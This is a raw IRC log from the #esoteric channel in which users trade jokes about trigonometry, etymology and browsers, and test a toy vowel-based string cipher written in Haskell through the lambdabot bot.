:shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :they're kind of pointless hth < 1477636703 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :shachaf: csc(θ) = sin(θ)^-1, sec(θ) = cos(θ)^-1, cot(θ) = tan(θ)^-1 < 1477636712 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :Mildly useful < 1477636720 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :worse than useless < 1477636730 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :shachaf: How so? < 1477636732 0 :Hoolootwo!~Hoolootwo@hooloovoo.blue PRIVMSG #esoteric :what else would you use? < 1477636740 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :I would write sin(x)^-1 < 1477636759 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :shachaf: I'd probably write a thing with a triangle and a line over it < 1477636774 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :trigonometry is about circles hth < 1477636797 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :shachaf: Triangles are important too and the circles describe it counter-hth < 1477636856 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :it's all in the name, trigon is the ancient greek for circle hth < 1477636860 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :(take a right triangle with width proportioned to height by the the golden mean (for aesthetic purposes); right angle at the right side, hypotenuse going up when read ltr, only draw hypotenuse and vertical edge) < 1477636891 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :(cosine only draws hypotenuse and the horizontal edge, tangent only draws the orthagonal edges) < 1477636957 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :*o < 1477637032 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :oerjan: What I really want is tetravertomy, which is all about spheres < 1477637035 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :And solid angle < 1477637082 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :surely it should tetrahedronometry < 1477637090 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :*+be < 1477637119 0 :Frooxius!~Frooxius@194.108.5.201 JOIN :#esoteric < 1477637156 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :oerjan: did you see my polyhydron pun earlier hth < 1477637173 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :probably not < 1477637196 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :oerjan: Perhaps? < 1477637227 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :oerjan: Of course, all of these are subfields of kplusuntopomy < 1477637243 0 :Froox!~Frooxius@194.108.5.201 QUIT :Ping timeout: 265 seconds < 1477637445 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :ACTION stamps a large mirrored LERN2GREEK on hppavilion[1]'s forehead < 1477637451 0 :Froox!~Frooxius@194.108.5.201 JOIN :#esoteric < 1477637466 0 :izalove!~izabera@unaffiliated/izabera PRIVMSG #esoteric :ACTION read it as lern2geek < 1477637485 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :nope hth < 1477637496 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :he's already overqualified for that < 1477637532 0 :izalove!~izabera@unaffiliated/izabera PRIVMSG #esoteric :joining this channel makes you overqualified < 1477637545 0 :izalove!~izabera@unaffiliated/izabera PRIVMSG #esoteric :i'm tempted to say that joining irc makes you overqualified < 1477637551 0 :Frooxius!~Frooxius@194.108.5.201 QUIT :Ping timeout: 244 seconds < 1477637814 0 :Froox!~Frooxius@194.108.5.201 QUIT :Ping timeout: 250 seconds < 1477638531 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :Hm, is there a way to simply undo (n >> n)? < 1477638566 0 :izalove!~izabera@unaffiliated/izabera PRIVMSG #esoteric :is that a right shift? < 1477638577 0 :Guest17733!~augur@noisebridge130.static.monkeybrains.net QUIT :Remote host closed the connection < 1477638581 0 :izalove!~izabera@unaffiliated/izabera PRIVMSG #esoteric :if so, of course not < 1477638596 0 :izalove!~izabera@unaffiliated/izabera PRIVMSG #esoteric :n >> n = 0 < 1477638816 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric : ...I just realized the etymological relationship that "predicates" are "predicative" because they "predict" <-- surprisingly, that's incorrect. there are two different lating words "dico", one with short i, and one with long, and with different meanings. they're probably cognate if you go all the way back to PIE though. < 1477638828 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :*latin < 1477638831 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :oerjan: D: < 1477638880 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :oerjan: Proto Indo-Latin < 1477639023 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :Huh, I can use ^m to mute the current tab < 1477639028 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :Gut to know < 1477639326 0 :centrinia!~centrinia@107-208-218-105.lightspeed.tukrga.sbcglobal.net JOIN :#esoteric < 1477639405 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :next up: how to mute the tab that you cannot find. < 1477639542 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :oerjan: chrome shows a little icon on tabs that are playing music hth < 1477639576 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :oerjan: so does firefox iirc hthm < 1477639592 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :i knew you were going to say that. < 1477639611 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :Yep < 1477639617 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :fortunately it's not happening that often. < 1477639618 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :oerjan: Are you from the future? < 1477639681 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :my main annoyance recently is that wikipedia's pretty diff extension has stopped working reliably. < 1477639748 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :hppavilion[1]: no, just experienced with what happens every time i mention my browser < 1477639792 0 :centrinia!~centrinia@107-208-218-105.lightspeed.tukrga.sbcglobal.net QUIT :Quit: Leaving < 1477639802 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :oerjan: i only said it because it was predictable hth < 1477639809 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :i know. < 1477639845 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :oerjan: Wait, which browser do you use? < 1477639854 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :internet explorer hth < 1477639856 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :I thought that was directed at me... < 1477639974 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :well hypothetically it was. it's not like i know the details of how other browsers work. < 1477640250 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :oerjan: ...wait, were you serious about IE? < 1477640264 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :yes < 1477640312 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net QUIT :Quit: Leaving < 1477640353 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :finally i convinced hppavilion[1] this channel is too crazy for him < 1477640523 0 :godel!~gonzalo@96-251-231-201.fibertel.com.ar QUIT :Ping timeout: 256 seconds < 1477641078 0 :augur!~augur@76-218-206-38.lightspeed.sntcca.sbcglobal.net JOIN :#esoteric < 1477641283 0 :imode!~imode@unaffiliated/imode PRIVMSG #esoteric :anybody know a good, reliable place for static site hosting. < 1477641297 0 :izalove!~izabera@unaffiliated/izabera PRIVMSG #esoteric :dropbox :p < 1477641304 0 :imode!~imode@unaffiliated/imode PRIVMSG #esoteric :hah. < 1477641311 0 :izalove!~izabera@unaffiliated/izabera PRIVMSG #esoteric :amazon aws < 1477641831 0 :Frooxius!~Frooxius@194.108.5.201 JOIN :#esoteric < 1477642127 0 :augur!~augur@76-218-206-38.lightspeed.sntcca.sbcglobal.net QUIT :Remote host closed the connection < 1477643089 0 :\oren\!~oren@ec2-52-2-213-98.compute-1.amazonaws.com PRIVMSG #esoteric :someone should derive proto-C-Pascal and see how much of algol they can reconstruct < 1477643402 0 :\oren\!~oren@ec2-52-2-213-98.compute-1.amazonaws.com PRIVMSG #esoteric :or maybe I'll do something like they did to construct Ido < 1477643419 0 :\oren\!~oren@ec2-52-2-213-98.compute-1.amazonaws.com PRIVMSG #esoteric :comparative analysis: < 1477644533 0 :\oren\!~oren@ec2-52-2-213-98.compute-1.amazonaws.com PRIVMSG #esoteric :assignment: c '=' fortran '=' pascal ':=' perl '=' < 1477644689 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net JOIN :#esoteric < 1477644721 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :`wisdom < 1477644728 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :oxford//The home of English, woven shirts, and the serial comma. < 1477644788 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :Debate Question: I have a teacher with lastname "Ingman". To pluralize her last name (e.g. to refer to a family), should one say "Ingmans" or "Ingmen" < 1477645256 0 :`^_^v!~nycs@114.125.108.123 JOIN :#esoteric < 1477645578 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :`slwd oxford//s/T/Oxford is t/ < 1477645581 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :wisdom/oxford//Oxford is the home of English, woven shirts, and the serial comma. < 1477645740 0 :\oren\!~oren@ec2-52-2-213-98.compute-1.amazonaws.com PRIVMSG #esoteric :does england have a separate capital from that of the the UK < 1477645985 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :i don't think so. < 1477646009 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :england doesn't have a separate parliament < 1477646033 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :(and it's pretty recent that any of the other parts got them) < 1477646545 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :@let hpciph c = reverse <=< groupBy ((&&)`on`(`notElem`c)) < 1477646549 0 :lambdabot!~lambdabot@haskell/bot/lambdabot PRIVMSG #esoteric : Defined. < 1477646566 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :> hpciph "aeiou" "Testing hppavilion[1]'s cipher" < 1477646569 0 :\oren\!~oren@ec2-52-2-213-98.compute-1.amazonaws.com PRIVMSG #esoteric :non non biyori is hilarus < 1477646571 0 :lambdabot!~lambdabot@haskell/bot/lambdabot PRIVMSG #esoteric : "Tetsipph gnavilioc s']1[nihper" < 1477646615 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :oerjan: Just weird enough to confuse humans, not powerful enough to be secure :) < 1477646619 0 :\oren\!~oren@ec2-52-2-213-98.compute-1.amazonaws.com PRIVMSG #esoteric :hey gnavilioc, your cipher reavls too much! < 1477646638 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :(But maybe if I took the bitstring down, flipped it, and reversed it...) < 1477646647 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :> hpciph "aeiou" hppavilion[1] < 1477646650 0 :lambdabot!~lambdabot@haskell/bot/lambdabot PRIVMSG #esoteric : error: < 1477646650 0 :lambdabot!~lambdabot@haskell/bot/lambdabot PRIVMSG #esoteric : • Couldn't match expected type ‘[Integer] -> t’ < 1477646650 0 :lambdabot!~lambdabot@haskell/bot/lambdabot PRIVMSG #esoteric : with actual type ‘[Char]’ < 1477646660 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :> hpciph "aeiou" "hppavilion[1]" < 1477646662 0 :lambdabot!~lambdabot@haskell/bot/lambdabot PRIVMSG #esoteric : "pphavilio]1[n" < 1477646679 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :\oren\: You were saying? < 1477646693 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :i suppose you technically didn't say the end parts should be reversed < 1477646705 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :oerjan: I didn't, but I meant it < 1477646714 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :At least, that's how it works in my implementation < 1477646715 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :yay < 1477646729 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :That's only one though; this one is named 'split-reverse' in the lookup < 1477646747 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :s/reverse/flip < 1477646762 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :s#$#/# < 1477646779 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :Oh, it's multi-split-reverse < 1477646783 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :bah < 1477646787 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :s/reverse/flip/ < 1477646807 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :There's another one ACTUALLY called 'multi-split-reverse' that instead reverses the order of things on the split rather than the split items < 1477646837 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :But the more interesting one, IMO, is multi-split-rotate, which instead rotates each string < 1477646860 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :@let hpciph2 c = concat . reverse . groupBy ((&&)`on`(`notElem`c)) < 1477646862 0 :lambdabot!~lambdabot@haskell/bot/lambdabot PRIVMSG #esoteric : Defined. < 1477646874 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :> hpciph2 "aeiou" "Testing hppavilion[1]'s cipher" < 1477646877 0 :lambdabot!~lambdabot@haskell/bot/lambdabot PRIVMSG #esoteric : "rephin[1]'s coilivang hppisteT" < 1477646896 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :like this? < 1477646908 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :oerjan: To test that your implementation (of the first one) is conformant < 1477646911 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :oerjan: ...yes? < 1477646914 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :I'll check < 1477646924 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :key "aeiou", cyphertext " Iaht med al kros dratnacu ,sah dnavec omet od evoy ruohc ruirdleB .nob wefore ym uhnorw yla ,htob rec osnumew diy hto ruorpsffir dnA .gnemebmek riH :sdehw of im sthgotsnehs srob dluec areful ,leh tseb ecome am otsneh risme ;flahw dney nog uazel o gnitno a naht ,ssybe am ssybag yaze itnoy ou. < 1477646924 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :" < 1477646936 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :And canonically, cypher should have a 'y' ;-; < 1477646952 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :hppavilion[1]: can you do it, i have trouble with multiline copying < 1477646970 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :oerjan: Do you have a decry- oh, right, it's identical < 1477646977 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :(the new version of irssi broke the feature that made it easy) < 1477647008 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :> hpciph "aeiou" " Iaht med al kros dratnacu ,sah dnavec omet od evoy ruohc ruirdleB .nob wefore ym uhnorw yla ,htob rec osnumew diy hto ruorpsffir dnA .gnemebmek riH :sdehw of im sthgotsnehs srob dluec areful ,leh tseb ecome am otsneh risme ;flahw dney nog uazel o gnitno a naht ,ssybe am ssybag yaze itnoy ou." < 1477647011 0 :lambdabot!~lambdabot@haskell/bot/lambdabot PRIVMSG #esoteric : "I am the dark lord santacus, and have come to devor yuor chuildren. Bow bef... < 1477647019 0 :`^_^v!~nycs@114.125.108.123 QUIT :Read error: Connection reset by peer < 1477647021 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :I'll just assume the rest is right < 1477647026 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :Wait, not quite < 1477647039 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :Oh, huh < 1477647039 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :lambdabot gives longer answers in private < 1477647051 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :oerjan: Yeah, but 'yuor chuildren' < 1477647068 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :My implementation has the same flaw, so it's a design issue < 1477647087 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :hppavilion[1]: you reverse the consecutive C members too? < 1477647090 0 :`^_^v!~nycs@42.62.178.2 JOIN :#esoteric < 1477647103 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :or rather, should? < 1477647110 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :oerjan: Wait, wat? < 1477647113 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :C members? < 1477647132 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :I think I see the issue is that consecutive vowels are dropped or... something in my impl < 1477647136 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :s/vowels/K/ < 1477647140 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :Or whatever < 1477647147 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :Consecutive characters-in-the-key-set < 1477647167 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :hppavilion[1]: in my implementation consecutive vowels are kept in the original order < 1477647174 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :oerjan: Same here < 1477647176 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :that's how i interpreted your description < 1477647183 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :oerjan: That's what I did too < 1477647196 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :(Really fun would be to reverse the order of the vowels before rejoining...) < 1477647202 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :@let hpciph3 c = reverse <=< groupBy ((==)`on`(`notElem`c)) < 1477647205 0 :lambdabot!~lambdabot@haskell/bot/lambdabot PRIVMSG #esoteric : Defined. < 1477647208 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :try this one < 1477647217 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :oerjan: ...what does it do? < 1477647221 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :I can't monad < 1477647233 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :> hpciph "aeiou" "I am the dark lord santacus, and have come to devour your children" < 1477647235 0 :lambdabot!~lambdabot@haskell/bot/lambdabot PRIVMSG #esoteric : " Iaht med al kros dratnacu ,sah dnavec omet od evouy rouhc rirdlen" < 1477647237 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :the monad part isn't what i changed >:) < 1477647253 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :hppavilion[1]: note name change < 1477647255 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :> hpciph "aeiou" " Iaht med al kros dratnacu ,sah dnavec omet od evouy rouhc rirdlen" < 1477647257 0 :lambdabot!~lambdabot@haskell/bot/lambdabot PRIVMSG #esoteric : "I am the dark lord santacus, and have come to devour your children" < 1477647269 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :Yeah, so your implementation works better than mine < 1477647273 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric ::,( < 1477647285 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :ACTION swats hppavilion[1] -----### < 1477647294 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :I IMPLEMENTED A NEW FUNCTION < 1477647297 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :oerjan: Is cyph3 derived from 2 or 1? < 1477647304 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :from 1 < 1477647308 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :OK < 1477647325 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :> hpciph3 "aeiou" "I am the dark lord santacus, and have come to devour your children" < 1477647327 0 :lambdabot!~lambdabot@haskell/bot/lambdabot PRIVMSG #esoteric : " Iaht med al kros dratnacu ,sah dnavec omet od evuoy ruohc rirdlen" < 1477647397 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :oerjan: ...? < 1477647474 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :hppavilion[1]: now it does reverse the vowel groups < 1477647490 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :> hpciph3 "aeiou" (hpciph "aeiou" "I am the dark lord santacus, and have come to devour your children") < 1477647493 0 :lambdabot!~lambdabot@haskell/bot/lambdabot PRIVMSG #esoteric : "I am the dark lord santacus, and have come to devuor yuor children" < 1477647499 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :Oooooh < 1477647577 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :oerjan: When I said reverse the order of the vowels, I was aiming for something a bit different and more evil < 1477647603 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :i think i know what you meant, and it's hard to adapt this implementation to it < 1477647611 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :The vowel groups stay the same, but you join back up on them in reverse order < 1477647620 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :oerjan: Yes xD. It's a rather convoluted idea < 1477647650 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :I was just doing cyphers because I needed a good streamed Vigenere implementation because my sister and I are reading Gravity Falls Journal #3 < 1477647672 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :And there's an entire, 3-page letter written in Viginere. I have to enter it into the computer by hand to get the output. < 1477647691 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :At least I guessed the key... < 1477647744 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :Kvart över elva, halv tolv. < 1477647786 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :not in about another half hour hth < 1477647795 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :*not for < 1477647832 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :oerjan: ...I was trying to figure out what it means < 1477647842 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :If the time is 11:15 (quarter past 11) < 1477647866 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :(or 23:15 if it means PM) < 1477647875 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :it can mean either < 1477647878 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :It's 45 minutes to 12:00 (or 24:00/00:00) < 1477647892 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :oerjan: Figured < 1477647948 0 :\oren\!~oren@ec2-52-2-213-98.compute-1.amazonaws.com PRIVMSG #esoteric :https://www.youtube.com/watch?v=CaWg298hzro < 1477647959 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :xkcd has updated but not freefall... < 1477647978 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :\oren\: This is a good world < 1477648001 0 :\oren\!~oren@ec2-52-2-213-98.compute-1.amazonaws.com PRIVMSG #esoteric :is there anyhting that cruel angel's thesis doesn't go with?!? < 1477648027 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :\oren\: Probably? < 1477648077 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :\oren\: Perhaps... my little pony: friendship is magic, season 5 finale (part 2), climactic lazer death battle (I swear it's true and 100% canon) < 1477648206 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :ACTION should figure out what Attack on Titan is < 1477648237 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :`? temperature < 1477648238 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :Temperature is measured in terms of reciprocal volume. < 1477648244 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :`forget temperature < 1477648247 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :Forget what? < 1477648250 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :ACTION swats shachaf -----### < 1477648790 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :I got 99 tabs < 1477648802 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :Now I don't < 1477648806 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :Life is a fickle thing < 1477648956 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :Wait, not season 5, season 4 < 1477649148 0 :\oren\!~oren@ec2-52-2-213-98.compute-1.amazonaws.com PRIVMSG #esoteric :hppavilion[1]: open another 99 < 1477649152 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no QUIT :Quit: Later < 1477649186 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :\oren\: 99 disk-draining tabs on the drive < 1477649928 0 :imode!~imode@unaffiliated/imode QUIT :Ping timeout: 245 seconds < 1477650591 0 :Yurume|q_!~yurume@ec2-52-79-98-81.ap-northeast-2.compute.amazonaws.com QUIT :Remote host closed the connection < 1477650667 0 :Yurume|q!~yurume@ec2-52-79-98-81.ap-northeast-2.compute.amazonaws.com JOIN :#esoteric < 1477651623 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :It annoys me when people say "guess what", especially when they insist that you guess < 1477651632 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :So I'm making a random sentence generator that will provide a guess < 1477651632 0 :izalove!~izabera@unaffiliated/izabera PRIVMSG #esoteric :hppavilion[1]: guess what < 1477651653 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :izalove: muff plf yjcu dlzyabsm yqkb bw jywp pvnpdeqw gmnzzb fxkeaae vk vkfts‽ < 1477651660 0 :izalove!~izabera@unaffiliated/izabera PRIVMSG #esoteric :lame < 1477651670 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :izalove: That was what I hacked together in 10 seconds < 1477651681 0 :izalove!~izabera@unaffiliated/izabera PRIVMSG #esoteric :then improve it < 1477651692 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :izalove: I'm going to start improving it by mixing in real words, some phonetic rules, and punctuation < 1477651699 0 :izalove!~izabera@unaffiliated/izabera PRIVMSG #esoteric :`` type 